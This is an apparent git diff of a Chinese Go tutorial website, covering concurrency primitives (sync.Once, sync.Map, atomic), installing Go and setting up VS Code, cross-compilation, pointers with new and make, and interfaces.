加载配置文件示例​

+

延迟一个开销很大的初始化操作到真正用到它的时候再执行是一个很好的实践。因为预先初始化一个变量(比如在init函数中完成初始化)会增加程序的启动耗时,而且有可能实际执行过程中这个变量没有用上,那么这个初始化操作就不是必须要做的。我们来看一个例子:

+
var icons map[string]image.Image

func loadIcons() {
icons = map[string]image.Image{
"left": loadIcon("left.png"),
"up": loadIcon("up.png"),
"right": loadIcon("right.png"),
"down": loadIcon("down.png"),
}
}

// Icon 被多个goroutine调用时不是并发安全的
func Icon(name string) image.Image {
if icons == nil {
loadIcons()
}
return icons[name]
}
+

多个 goroutine 并发调用Icon函数时不是并发安全的,现代的编译器和CPU可能会在保证每个 goroutine 都满足串行一致的基础上自由地重排访问内存的顺序。loadIcons函数可能会被重排为以下结果:

+
func loadIcons() {
icons = make(map[string]image.Image)
icons["left"] = loadIcon("left.png")
icons["up"] = loadIcon("up.png")
icons["right"] = loadIcon("right.png")
icons["down"] = loadIcon("down.png")
}
+

在这种情况下就会出现即使判断了icons不是nil也不意味着变量初始化完成了。考虑到这种情况,我们能想到的办法就是添加互斥锁,保证初始化icons的时候不会被其他的 goroutine 操作,但是这样做又会引发性能问题。

+

使用sync.Once改造的示例代码如下:

+
var icons map[string]image.Image

var loadIconsOnce sync.Once

func loadIcons() {
icons = map[string]image.Image{
"left": loadIcon("left.png"),
"up": loadIcon("up.png"),
"right": loadIcon("right.png"),
"down": loadIcon("down.png"),
}
}

// Icon 是并发安全的
func Icon(name string) image.Image {
loadIconsOnce.Do(loadIcons)
return icons[name]
}
+

并发安全的单例模式​

+

下面是借助sync.Once实现的并发安全的单例模式:

+
package singleton

import (
"sync"
)

type singleton struct {}

var instance *singleton
var once sync.Once

func GetInstance() *singleton {
once.Do(func() {
instance = &singleton{}
})
return instance
}
+

sync.Once其实内部包含一个互斥锁和一个布尔值,互斥锁保证布尔值和数据的安全,而布尔值用来记录初始化是否完成。这样设计就能保证初始化操作的时候是并发安全的并且初始化操作也不会被执行多次。

+

sync.Map​

+

Go 语言中内置的 map 不是并发安全的,请看下面这段示例代码。

+
package main

import (
"fmt"
"strconv"
"sync"
)

var m = make(map[string]int)

func get(key string) int {
return m[key]
}

func set(key string, value int) {
m[key] = value
}

func main() {
wg := sync.WaitGroup{}
for i := 0; i < 10; i++ {
wg.Add(1)
go func(n int) {
key := strconv.Itoa(n)
set(key, n)
fmt.Printf("k=:%v,v:=%v\n", key, get(key))
wg.Done()
}(i)
}
wg.Wait()
}
+

将上面的代码编译后执行,会报出fatal error: concurrent map writes错误。我们不能在多个 goroutine 中并发对内置的 map 进行读写操作,否则会存在数据竞争问题。

+

像这种场景下就需要为 map 加锁来保证并发的安全性了,Go语言的sync包中提供了一个开箱即用的并发安全版 map——sync.Map。开箱即用表示其不用像内置的 map 一样使用 make 函数初始化就能直接使用。同时sync.Map内置了诸如Store、Load、LoadOrStore、Delete、Range等操作方法。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
方法名功能
func (m *Map) Store(key, value interface{})存储key-value数据
func (m *Map) Load(key interface{}) (value interface{}, ok bool)查询key对应的value
func (m *Map) LoadOrStore(key, value interface{}) (actual interface{}, loaded bool)查询或存储key对应的value
func (m *Map) LoadAndDelete(key interface{}) (value interface{}, loaded bool)查询并删除key
func (m *Map) Delete(key interface{})删除key
func (m *Map) Range(f func(key, value interface{}) bool)对map中的每个key-value依次调用f
+

下面的代码示例演示了并发读写sync.Map。

+
package main

import (
"fmt"
"strconv"
"sync"
)

// 并发安全的map
var m = sync.Map{}

func main() {
wg := sync.WaitGroup{}
// 对m执行20个并发的读写操作
for i := 0; i < 20; i++ {
wg.Add(1)
go func(n int) {
key := strconv.Itoa(n)
m.Store(key, n) // 存储key-value
value, _ := m.Load(key) // 根据key取值
fmt.Printf("k=:%v,v:=%v\n", key, value)
wg.Done()
}(i)
}
wg.Wait()
}
+

原子操作​

+

针对整数数据类型(int32、uint32、int64、uint64)我们还可以使用原子操作来保证并发安全,通常直接使用原子操作比使用锁操作效率更高。Go语言中原子操作由内置的标准库sync/atomic提供。

+

atomic包​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
方法解释
func LoadInt32(addr *int32) (val int32) func LoadInt64(addr *int64) (val int64) func LoadUint32(addr *uint32) (val uint32) func LoadUint64(addr *uint64) (val uint64) func LoadUintptr(addr *uintptr) (val uintptr) func LoadPointer(addr *unsafe.Pointer) (val unsafe.Pointer)读取操作
func StoreInt32(addr *int32, val int32) func StoreInt64(addr *int64, val int64) func StoreUint32(addr *uint32, val uint32) func StoreUint64(addr *uint64, val uint64) func StoreUintptr(addr *uintptr, val uintptr) func StorePointer(addr *unsafe.Pointer, val unsafe.Pointer)写入操作
func AddInt32(addr *int32, delta int32) (new int32) func AddInt64(addr *int64, delta int64) (new int64) func AddUint32(addr *uint32, delta uint32) (new uint32) func AddUint64(addr *uint64, delta uint64) (new uint64) func AddUintptr(addr *uintptr, delta uintptr) (new uintptr)修改操作
func SwapInt32(addr *int32, new int32) (old int32) func SwapInt64(addr *int64, new int64) (old int64) func SwapUint32(addr *uint32, new uint32) (old uint32) func SwapUint64(addr *uint64, new uint64) (old uint64) func SwapUintptr(addr *uintptr, new uintptr) (old uintptr) func SwapPointer(addr *unsafe.Pointer, new unsafe.Pointer) (old unsafe.Pointer)交换操作
func CompareAndSwapInt32(addr *int32, old, new int32) (swapped bool) func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool) func CompareAndSwapUint32(addr *uint32, old, new uint32) (swapped bool) func CompareAndSwapUint64(addr *uint64, old, new uint64) (swapped bool) func CompareAndSwapUintptr(addr *uintptr, old, new uintptr) (swapped bool) func CompareAndSwapPointer(addr *unsafe.Pointer, old, new unsafe.Pointer) (swapped bool)比较并交换操作
+

示例​

+

我们填写一个示例来比较下互斥锁和原子操作的性能。

+
package main

import (
"fmt"
"sync"
"sync/atomic"
"time"
)

type Counter interface {
Inc()
Load() int64
}

// 普通版
type CommonCounter struct {
counter int64
}

func (c CommonCounter) Inc() {
c.counter++
}

func (c CommonCounter) Load() int64 {
return c.counter
}

// 互斥锁版
type MutexCounter struct {
counter int64
lock sync.Mutex
}

func (m *MutexCounter) Inc() {
m.lock.Lock()
defer m.lock.Unlock()
m.counter++
}

func (m *MutexCounter) Load() int64 {
m.lock.Lock()
defer m.lock.Unlock()
return m.counter
}

// 原子操作版
type AtomicCounter struct {
counter int64
}

func (a *AtomicCounter) Inc() {
atomic.AddInt64(&a.counter, 1)
}

func (a *AtomicCounter) Load() int64 {
return atomic.LoadInt64(&a.counter)
}

func test(c Counter) {
var wg sync.WaitGroup
start := time.Now()
for i := 0; i < 1000; i++ {
wg.Add(1)
go func() {
c.Inc()
wg.Done()
}()
}
wg.Wait()
end := time.Now()
fmt.Println(c.Load(), end.Sub(start))
}

func main() {
c1 := CommonCounter{} // 非并发安全
test(c1)
c2 := MutexCounter{} // 使用互斥锁实现并发安全
test(&c2)
c3 := AtomicCounter{} // 并发安全且比互斥锁效率更高
test(&c3)
}
+

atomic包提供了底层的原子级内存操作,对于同步算法的实现很有用。这些函数必须谨慎地保证正确使用。除了某些特殊的底层应用,使用通道或者 sync 包的函数/类型实现同步更好。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-开发环境配置/index.html b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-开发环境配置/index.html new file mode 100644 index 0000000..5213bf7 --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-开发环境配置/index.html @@ -0,0 +1,134 @@ + + + + + +安装Go语言及搭建Go语言开发环境 | wjlin0 + + + + + + + +

安装Go语言及搭建Go语言开发环境

+

**注意:**Go语言1.14版本之后推荐使用go modules管理依赖,也不再需要把代码写在GOPATH目录下了,之前旧版本的教程戳这个链接。

+

下载​

+

下载地址​

+

Go官网下载地址:https://golang.org/dl/

+

Go官方镜像站(推荐):https://golang.google.cn/dl/

+

版本的选择​

+

Windows平台和Mac平台推荐下载可执行文件版,Linux平台下载压缩文件版。

+

下图中的版本号可能并不是最新的,但总体来说安装教程是类似的。Go语言更新迭代比较快,推荐使用较新版本,体验最新特性。

+

download1

+

安装​

+

Windows安装​

+

此安装实例以 64位Win10系统安装 Go1.14.1可执行文件版本为例。

+

将上一步选好的安装包下载到本地。

+

download2

+

双击下载好的文件,然后按照下图的步骤安装即可。

+

install01install02install03install04install05

+

Linux下安装​

+

如果不是要在Linux平台敲go代码就不需要在Linux平台安装Go,我们开发机上写好的go代码只需要跨平台编译(详见文章末尾的跨平台编译)好之后就可以拷贝到Linux服务器上运行了,这也是go程序跨平台易部署的优势。

+

我们在版本选择页面选择并下载好go1.14.1.linux-amd64.tar.gz文件:

+
wget https://dl.google.com/go/go1.14.1.linux-amd64.tar.gz
+

将下载好的文件解压到/usr/local目录下:

+
tar -zxvf go1.14.1.linux-amd64.tar.gz -C /usr/local  # 解压
+

如果提示没有权限,加上sudo以root用户的身份再运行。执行完就可以在/usr/local/下看到go目录了。

+

配置环境变量: Linux下有两个文件可以配置环境变量,其中/etc/profile是对所有用户生效的;$HOME/.profile是对当前用户生效的,根据自己的情况自行选择一个文件打开,添加如下两行代码,保存退出。

+
export GOROOT=/usr/local/go
export PATH=$PATH:$GOROOT/bin
+

修改/etc/profile后要重启生效,修改$HOME/.profile后使用source命令加载$HOME/.profile文件即可生效。 检查:

+
~ go version
go version go1.14.1 linux/amd64
+

Mac下安装​

+

下载可执行文件版,直接点击下一步安装即可,默认会将go安装到/usr/local/go目录下。Mac安装Go

+

检查​

+

上一步安装过程执行完毕后,可以打开终端窗口,输入go version命令,查看安装的Go版本。install06

+

GOROOT和GOPATH​

+

GOROOT和GOPATH都是环境变量,其中GOROOT是我们安装go开发包的路径,而从Go 1.8版本开始,Go开发包在安装完成后会为GOPATH设置一个默认目录,并且在Go1.14及之后的版本中启用了Go Module模式之后,不一定非要将代码写到GOPATH目录下,所以也就不需要我们再自己配置GOPATH了,使用默认的即可。

+

想要查看你电脑上的GOPATH路径,只需要打开终端输入以下命令并回车:

+
go env
+

在终端输出的内容中找到GOPATH对应的具体路径。

+

GOPROXY 非常重要​

+

Go1.14版本之后,都推荐使用go mod模式来管理依赖环境了,也不再强制我们把代码必须写在GOPATH下面的src目录了,你可以在你电脑的任意位置编写go代码。(网上有些教程适用于1.11版本之前。)

+

默认GoPROXY配置是:GOPROXY=https://proxy.golang.org,direct,由于国内访问不到https://proxy.golang.org,所以我们需要换一个PROXY,这里推荐使用https://goproxy.io或https://goproxy.cn。

+

可以执行下面的命令修改GOPROXY:

+
go env -w GOPROXY=https://goproxy.cn,direct
+

Go开发编辑器​

+

Go采用的是UTF-8编码的文本文件存放源代码,理论上使用任何一款文本编辑器都可以做Go语言开发,这里推荐使用VS Code和Goland。 VS Code是微软开源的编辑器,而Goland是jetbrains出品的付费IDE。

+

我们这里使用VS Code 加插件做为go语言的开发工具。

+

VS Code介绍​

+

VS Code全称Visual Studio Code,是微软公司开源的一款免费现代化轻量级代码编辑器,支持几乎所有主流的开发语言的语法高亮、智能代码补全、自定义热键、括号匹配、代码片段、代码对比 Diff、GIT 等特性,支持插件扩展,支持 Win、Mac 以及 Linux平台。

+

虽然不如某些IDE功能强大,但是它添加Go扩展插件后已经足够胜任我们日常的Go开发。

+

下载与安装​

+

VS Code官方下载地址:https://code.visualstudio.com/Download

+

三大主流平台都支持,请根据自己的电脑平台选择对应的安装包。vscode_home双击下载好的安装文件,双击安装即可。

+

配置​

+

安装中文简体插件​

+

点击左侧菜单栏最后一项管理扩展,在搜索框中输入chinese ,选中结果列表第一项,点击install安装。

+

安装完毕后右下角会提示重启VS Code,重启之后你的VS Code就显示中文啦!安装简体中文插件VSCode主界面介绍:vscode_menu

+

安装go扩展​

+

现在我们要为我们的VS Code编辑器安装Go扩展插件,让它支持Go语言开发。安装go扩展图

+

第一个Go程序​

+

Hello World​

+

现在我们来创建第一个Go项目——hello。在我们桌面创建一个hello目录。

+

go mod init​

+

使用go module模式新建项目时,我们需要通过go mod init 项目名命令对项目进行初始化,该命令会在项目根目录下生成go.mod文件。例如,我们使用hello作为我们第一个Go项目的名称,执行如下命令。

+
go mod init hello
+

编写代码​

+

接下来在该目录中创建一个main.go文件:

+
package main  // 声明 main 包,表明当前是一个可执行程序

import "fmt" // 导入内置 fmt 包

func main(){ // main函数,是程序执行的入口
fmt.Println("Hello World!") // 在终端打印 Hello World!
}
+

非常重要!!! 如果此时VS Code右下角弹出提示让你安装插件,务必点 install all 进行安装。

+

这一步需要先执行完上面提到的go env -w GOPROXY=https://goproxy.cn,direct命令配置好GOPROXY。

+

编译​

+

go build命令表示将源代码编译成可执行文件。

+

在hello目录下执行:

+
go build
+

编译得到的可执行文件会保存在执行编译命令的当前目录下,如果是Windows平台会在当前目录下找到hello.exe可执行文件。

+

可在终端直接执行该hello.exe文件:

+
c:\desktop\hello>hello.exe
Hello World!
+

我们还可以使用-o参数来指定编译后得到的可执行文件的名字。

+
go build -o heiheihei.exe
+

Windows下VSCode切换cmd.exe作为默认终端​

+

如果你打开VS Code的终端界面出现如下图场景(注意观察红框圈中部分),那么你的VS Code此时正使用powershell作为默认终端:vscode shell配置1十分推荐你按照下面的步骤,选择cmd.exe作为默认的终端工具:vscode shell配置2此时,VS Code正上方中间位置会弹出如下界面,参照下图挪动鼠标使光标选中后缀为cmd.exe的那一个,然后点击鼠标左键。

+

最后重启VS Code中已经打开的终端或者直接重启VS Code就可以了。vscode shell配置3如果没有出现下拉三角,也没有关系,按下Ctrl+Shift+P,VS Code正上方会出现一个框,你按照下图输入shell,然后点击指定选项即可出现上面的界面了。vscode shell配置4

+

go run​

+

go run main.go也可以执行程序,该命令本质上是先在临时目录编译程序然后再执行。

+
+

如果你不清楚上方关于go run执行机制的描述,那么你最好今后都使用go build编译再执行。

+
+

go install​

+

go install表示安装的意思,它先编译源代码得到可执行文件,然后将可执行文件移动到GOPATH的bin目录下。因为我们把GOPATH下的bin目录添加到了环境变量中,所以我们就可以在任意地方直接执行可执行文件了。

+

跨平台编译​

+

默认我们go build的可执行文件都是当前操作系统可执行的文件,Go语言支持跨平台编译——在当前平台(例如Windows)下编译其他平台(例如Linux)的可执行文件。

+

Windows编译Linux可执行文件​

+

如果我想在Windows下编译一个Linux下可执行文件,那需要怎么做呢?只需要在编译时指定目标操作系统的平台和处理器架构即可。

+
+

注意:无论你在Windows电脑上使用VsCode编辑器还是Goland编辑器,都要注意你使用的终端类型,因为不同的终端下命令不一样!!!目前的Windows通常默认使用的是PowerShell终端。

+
+

如果你的Windows使用的是cmd,那么按如下方式指定环境变量。

+
SET CGO_ENABLED=0  // 禁用CGO
SET GOOS=linux // 目标平台是linux
SET GOARCH=amd64 // 目标处理器架构是amd64
+

如果你的Windows使用的是PowerShell终端,那么设置环境变量的语法为

+
$ENV:CGO_ENABLED=0
$ENV:GOOS="linux"
$ENV:GOARCH="amd64"
+

在你的Windows终端下执行完上述命令后,再执行下面的命令,得到的就是能够在Linux平台运行的可执行文件了。

+
go build
+

Windows编译Mac可执行文件​

+

Windows下编译Mac平台64位可执行程序:

+

cmd终端下执行:

+
SET CGO_ENABLED=0
SET GOOS=darwin
SET GOARCH=amd64
go build
+

PowerShell终端下执行:

+
$ENV:CGO_ENABLED=0
$ENV:GOOS="darwin"
$ENV:GOARCH="amd64"
go build
+

Mac编译Linux可执行文件​

+

Mac电脑编译得到Linux平台64位可执行程序:

+
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build
+

Mac编译Windows可执行文件​

+

Mac电脑编译得到Windows平台64位可执行程序:

+
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build
+

Linux编译Mac可执行文件​

+

Linux平台下编译Mac平台64位可执行程序:

+
CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build
+

Linux编译Windows可执行文件​

+

Linux平台下编译Windows平台64位可执行程序:

+
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build
+

现在,开启你的Go语言学习之旅吧。人生苦短,let’s Go.

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-指针/index.html b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-指针/index.html new file mode 100644 index 0000000..ae74a0e --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-指针/index.html @@ -0,0 +1,73 @@ + + + + + +Go语言基础之指针 | wjlin0 + + + + + + + +

Go语言基础之指针

+

任何程序数据载入内存后,在内存都有他们的地址,这就是指针。而为了保存一个数据在内存中的地址,我们就需要指针变量。

+

比如,“永远不要高估自己”这句话是我的座右铭,我想把它写入程序中,程序一启动这句话是要加载到内存(假设内存地址0x123456),我在程序中把这段话赋值给变量A,把内存地址赋值给变量B。这时候变量B就是一个指针变量。通过变量A和变量B都能找到我的座右铭。

+

Go语言中的指针不能进行偏移和运算,因此Go语言中的指针操作非常简单,我们只需要记住两个符号:&(取地址)和*(根据地址取值)。

+

指针地址和指针类型​

+

每个变量在运行时都拥有一个地址,这个地址代表变量在内存中的位置。Go语言中使用&字符放在变量前面对变量进行“取地址”操作。 Go语言中的值类型(int、float、bool、string、array、struct)都有对应的指针类型,如:*int、*int64、*string等。

+

取变量指针的语法如下:

+
ptr := &v    // v的类型为T
+

其中:

+
    +
  • v:代表被取地址的变量,类型为T
  • +
  • ptr:用于接收地址的变量,ptr的类型就为*T,称做T的指针类型。*代表指针。
  • +
+

举个例子:

+
func main() {
a := 10
b := &a
fmt.Printf("a:%d ptr:%p\n", a, &a) // a:10 ptr:0xc00001a078
fmt.Printf("b:%p type:%T\n", b, b) // b:0xc00001a078 type:*int
fmt.Println(&b) // 0xc00000e018
}
+

我们来看一下b := &a的图示:取变量地址图示

+

指针取值​

+

在对普通变量使用&操作符取地址后会获得这个变量的指针,然后可以对指针使用*操作,也就是指针取值,代码如下。

+
func main() {
//指针取值
a := 10
b := &a // 取变量a的地址,将指针保存到b中
fmt.Printf("type of b:%T\n", b)
c := *b // 指针取值(根据指针去内存取值)
fmt.Printf("type of c:%T\n", c)
fmt.Printf("value of c:%v\n", c)
}
+

输出如下:

+
type of b:*int
type of c:int
value of c:10
+

总结: 取地址操作符&和取值操作符*是一对互补操作符,&取出地址,*根据地址取出地址指向的值。

+

变量、指针地址、指针变量、取地址、取值的相互关系和特性如下:

+
    +
  • 对变量进行取地址(&)操作,可以获得这个变量的指针变量。
  • +
  • 指针变量的值是指针地址。
  • +
  • 对指针变量进行取值(*)操作,可以获得指针变量指向的原变量的值。
  • +
+

指针传值示例:

+
func modify1(x int) {
x = 100
}

func modify2(x *int) {
*x = 100
}

func main() {
a := 10
modify1(a)
fmt.Println(a) // 10
modify2(&a)
fmt.Println(a) // 100
}
+

new和make​

+

我们先来看一个例子:

+
func main() {
var a *int
*a = 100
fmt.Println(*a)

var b map[string]int
b["沙河娜扎"] = 100
fmt.Println(b)
}
+

执行上面的代码会引发panic,为什么呢? 在Go语言中对于引用类型的变量,我们在使用的时候不仅要声明它,还要为它分配内存空间,否则我们的值就没办法存储。而对于值类型的声明不需要分配内存空间,是因为它们在声明的时候已经默认分配好了内存空间。要分配内存,就引出来今天的new和make。 Go语言中new和make是内建的两个函数,主要用来分配内存。

+

new​

+

new是一个内置的函数,它的函数签名如下:

+
func new(Type) *Type
+

其中,

+
    +
  • Type表示类型,new函数只接受一个参数,这个参数是一个类型
  • +
  • *Type表示类型指针,new函数返回一个指向该类型内存地址的指针。
  • +
+

new函数不太常用,使用new函数得到的是一个类型的指针,并且该指针对应的值为该类型的零值。举个例子:

+
func main() {
a := new(int)
b := new(bool)
fmt.Printf("%T\n", a) // *int
fmt.Printf("%T\n", b) // *bool
fmt.Println(*a) // 0
fmt.Println(*b) // false
}
+

本节开始的示例代码中var a *int只是声明了一个指针变量a但是没有初始化,指针作为引用类型需要初始化后才会拥有内存空间,才可以给它赋值。应该按照如下方式使用内置的new函数对a进行初始化之后就可以正常对其赋值了:

+
func main() {
var a *int
a = new(int)
*a = 10
fmt.Println(*a)
}
+

make​

+

make也是用于内存分配的,区别于new,它只用于slice、map以及channel的内存创建,而且它返回的类型就是这三个类型本身,而不是他们的指针类型,因为这三种类型就是引用类型,所以就没有必要返回他们的指针了。make函数的函数签名如下:

+
func make(t Type, size ...IntegerType) Type
+

make函数是无可替代的,我们在使用slice、map以及channel的时候,都需要使用make进行初始化,然后才可以对它们进行操作。这个我们在上一章中都有说明,关于channel我们会在后续的章节详细说明。

+

本节开始的示例中var b map[string]int只是声明变量b是一个map类型的变量,需要像下面的示例代码一样使用make函数进行初始化操作之后,才能对其进行键值对赋值:

+
func main() {
var b map[string]int
b = make(map[string]int, 10)
b["沙河娜扎"] = 100
fmt.Println(b)
}
+

new与make的区别​

+
    +
  1. 二者都是用来做内存分配的。
  2. +
  3. make只用于slice、map以及channel的初始化,返回的还是这三个引用类型本身;
  4. +
  5. 而new用于类型的内存分配,并且内存对应的值为类型零值,返回的是指向类型的指针。
  6. +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-接口/index.html b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-接口/index.html new file mode 100644 index 0000000..ecd2d61 --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-接口/index.html @@ -0,0 +1,202 @@ + + + + + +接口 | wjlin0 + + + + + + + +

接口

+

本章学习目标

+
    +
  • 了解为什么需要接口以及接口的特点
  • +
  • 掌握接口的声明和使用
  • +
  • 掌握接口值的概念
  • +
  • 掌握空接口的特点及其使用场景
  • +
+

在Go语言中接口(interface)是一种类型,一种抽象的类型。相较于之前章节中讲到的那些具体类型(字符串、切片、结构体等)更注重“我是谁”,接口类型更注重“我能做什么”的问题。接口类型就像是一种约定——概括了一种类型应该具备哪些方法,在Go语言中提倡使用面向接口的编程方式实现解耦。

+

接口类型​

+

接口是一种由程序员来定义的类型,一个接口类型就是一组方法的集合,它规定了需要实现的所有方法。

+

相较于使用结构体类型,当我们使用接口类型说明相比于它是什么更关心它能做什么。

+

接口的定义​

+

每个接口类型由任意个方法签名组成,接口的定义格式如下:

+
type 接口类型名 interface{
方法名1( 参数列表1 ) 返回值列表1
方法名2( 参数列表2 ) 返回值列表2
…
}
+

其中:

+
    +
  • 接口类型名:Go语言的接口在命名时,一般会在单词后面添加er,如有写操作的接口叫Writer,有关闭操作的接口叫closer等。接口名最好要能突出该接口的类型含义。
  • +
  • 方法名:当方法名首字母是大写且这个接口类型名首字母也是大写时,这个方法可以被接口所在的包(package)之外的代码访问。
  • +
  • 参数列表、返回值列表:参数列表和返回值列表中的参数变量名可以省略。
  • +
+

举个例子,定义一个包含Write方法的Writer接口。

+
type Writer interface{
Write([]byte) error
}
+

当你看到一个Writer接口类型的值时,你不知道它是什么,唯一知道的就是可以通过调用它的Write方法来做一些事情。

+

实现接口的条件​

+

接口就是规定了一个需要实现的方法列表,在 Go 语言中一个类型只要实现了接口中规定的所有方法,那么我们就称它实现了这个接口。

+

我们定义的Singer接口类型,它包含一个Sing方法。

+
// Singer 接口
type Singer interface {
Sing()
}
+

我们有一个Bird结构体类型如下。

+
type Bird struct {}
+

因为Singer接口只包含一个Sing方法,所以只需要给Bird结构体添加一个Sing方法就可以满足Singer接口的要求。

+
// Sing Bird类型的Sing方法
func (b Bird) Sing() {
fmt.Println("汪汪汪")
}
+

这样就称为Bird实现了Singer接口。

+

为什么要使用接口?​

+

现在假设我们的代码世界里有很多小动物,下面的代码片段定义了猫和狗,它们饿了都会叫。

+
package main

import "fmt"

type Cat struct{}

func (c Cat) Say() {
fmt.Println("喵喵喵~")
}

type Dog struct{}

func (d Dog) Say() {
fmt.Println("汪汪汪~")
}

func main() {
c := Cat{}
c.Say()
d := Dog{}
d.Say()
}
+

这个时候又跑来了一只羊,羊饿了也会发出叫声。

+
type Sheep struct{}

func (s Sheep) Say() {
fmt.Println("咩咩咩~")
}
+

我们接下来定义一个饿肚子的场景。

+
// MakeCatHungry 猫饿了会喵喵喵~
func MakeCatHungry(c Cat) {
c.Say()
}

// MakeSheepHungry 羊饿了会咩咩咩~
func MakeSheepHungry(s Sheep) {
s.Say()
}
+

接下来会有越来越多的小动物跑过来,我们的代码世界该怎么拓展呢?

+

在饿肚子这个场景下,我们可不可以把所有动物都当成一个“会叫的类型”来处理呢?当然可以!使用接口类型就可以实现这个目标。 我们的代码其实并不关心究竟是什么动物在叫,我们只是在代码中调用它的Say()方法,这就足够了。

+

我们可以约定一个Sayer类型,它必须实现一个Say()方法,只要饿肚子了,我们就调用Say()方法。

+
type Sayer interface {
Say()
}
+

然后我们定义一个通用的MakeHungry函数,接收Sayer类型的参数。

+
// MakeHungry 饿肚子了...
func MakeHungry(s Sayer) {
s.Say()
}
+

我们通过使用接口类型,把所有会叫的动物当成Sayer类型来处理,只要实现了Say()方法都能当成Sayer类型的变量来处理。

+
var c cat
MakeHungry(c)
var d dog
MakeHungry(d)
+

在电商系统中我们允许用户使用多种支付方式(支付宝支付、微信支付、银联支付等),我们的交易流程中可能不太在乎用户究竟使用什么支付方式,只要它能提供一个实现支付功能的Pay方法让调用方调用就可以了。

+

再比如我们需要在某个程序中添加一个将某些指标数据向外输出的功能,根据不同的需求可能要将数据输出到终端、写入到文件或者通过网络连接发送出去。在这个场景下我们可以不关注最终输出的目的地是什么,只需要它能提供一个Write方法让我们把内容写入就可以了。

+

Go语言中为了解决类似上面的问题引入了接口的概念,接口类型区别于我们之前章节中介绍的那些具体类型,让我们专注于该类型提供的方法,而不是类型本身。使用接口类型通常能够让我们写出更加通用和灵活的代码。

+

面向接口编程​

+

PHP、Java等语言中也有接口的概念,不过在PHP和Java语言中需要显式声明一个类实现了哪些接口,在Go语言中使用隐式声明的方式实现接口。只要一个类型实现了接口中规定的所有方法,那么它就实现了这个接口。

+

Go语言中的这种设计符合程序开发中抽象的一般规律,例如在下面的代码示例中,我们的电商系统最开始只设计了支付宝一种支付方式:

+
type ZhiFuBao struct {
// 支付宝
}

// Pay 支付宝的支付方法
func (z *ZhiFuBao) Pay(amount int64) {
fmt.Printf("使用支付宝付款:%.2f元。\n", float64(amount/100))
}

// Checkout 结账
func Checkout(obj *ZhiFuBao) {
// 支付100元
obj.Pay(100)
}

func main() {
Checkout(&ZhiFuBao{})
}
+

随着业务的发展,根据用户需求添加支持微信支付。

+
type WeChat struct {
// 微信
}

// Pay 微信的支付方法
func (w *WeChat) Pay(amount int64) {
fmt.Printf("使用微信付款:%.2f元。\n", float64(amount/100))
}
+

在实际的交易流程中,我们可以根据用户选择的支付方式来决定最终调用支付宝的Pay方法还是微信支付的Pay方法。

+
// Checkout 支付宝结账
func CheckoutWithZFB(obj *ZhiFuBao) {
// 支付100元
obj.Pay(100)
}

// Checkout 微信支付结账
func CheckoutWithWX(obj *WeChat) {
// 支付100元
obj.Pay(100)
}
+

实际上,从上面的代码示例中我们可以看出,我们其实并不怎么关心用户选择的是什么支付方式,我们只关心调用Pay方法时能否正常运行。这就是典型的“不关心它是什么,只关心它能做什么”的场景。

+

在这种场景下我们可以将具体的支付方式抽象为一个名为Payer的接口类型,即任何实现了Pay方法的都可以称为Payer类型。

+
// Payer 包含支付方法的接口类型
type Payer interface {
Pay(int64)
}
+

此时只需要修改下原始的Checkout函数,它接收一个Payer类型的参数。这样就能够在不修改既有函数调用的基础上,支持新的支付方式。

+
// Checkout 结账
func Checkout(obj Payer) {
// 支付100元
obj.Pay(100)
}

func main() {
Checkout(&ZhiFuBao{}) // 之前调用支付宝支付

Checkout(&WeChat{}) // 现在支持使用微信支付
}
+

像类似的例子在我们编程过程中会经常遇到:

+
    +
  • 比如一个网上商城可能使用支付宝、微信、银联等方式去在线支付,我们能不能把它们当成“支付方式”来处理呢?
  • +
  • 比如三角形,四边形,圆形都能计算周长和面积,我们能不能把它们当成“图形”来处理呢?
  • +
  • 比如满减券、立减券、打折券都属于电商场景下常见的优惠方式,我们能不能把它们当成“优惠券”来处理呢?
  • +
+

接口类型是Go语言提供的一种工具,在实际的编码过程中是否使用它由你自己决定,但是通常使用接口类型可以使代码更清晰易读。

+

接口类型变量​

+

那实现了接口又有什么用呢?一个接口类型的变量能够存储所有实现了该接口的类型变量。

+

例如在上面的示例中,Dog和Cat类型均实现了Sayer接口,此时一个Sayer类型的变量就能够接收Cat和Dog类型的变量。

+
var x Sayer // 声明一个Sayer类型的变量x
a := Cat{} // 声明一个Cat类型变量a
b := Dog{} // 声明一个Dog类型变量b
x = a // 可以把Cat类型变量直接赋值给x
x.Say() // 喵喵喵
x = b // 可以把Dog类型变量直接赋值给x
x.Say() // 汪汪汪
+

值接收者和指针接收者​

+

在结构体那一章节中,我们介绍了在定义结构体方法时既可以使用值接收者也可以使用指针接收者。那么对于实现接口来说使用值接收者和使用指针接收者有什么区别呢?接下来我们通过一个例子看一下其中的区别。

+

我们定义一个Mover接口,它包含一个Move方法。

+
// Mover 定义一个接口类型
type Mover interface {
Move()
}
+

值接收者实现接口​

+

我们定义一个Dog结构体类型,并使用值接收者为其定义一个Move方法。

+
// Dog 狗结构体类型
type Dog struct{}

// Move 使用值接收者定义Move方法实现Mover接口
func (d Dog) Move() {
fmt.Println("狗会动")
}
+

此时实现Mover接口的是Dog类型。

+
var x Mover    // 声明一个Mover类型的变量x

var d1 = Dog{} // d1是Dog类型
x = d1 // 可以将d1赋值给变量x
x.Move()

var d2 = &Dog{} // d2是Dog指针类型
x = d2 // 也可以将d2赋值给变量x
x.Move()
+

从上面的代码中我们可以发现,使用值接收者实现接口之后,不管是结构体类型还是对应的结构体指针类型的变量都可以赋值给该接口变量。

+

指针接收者实现接口​

+

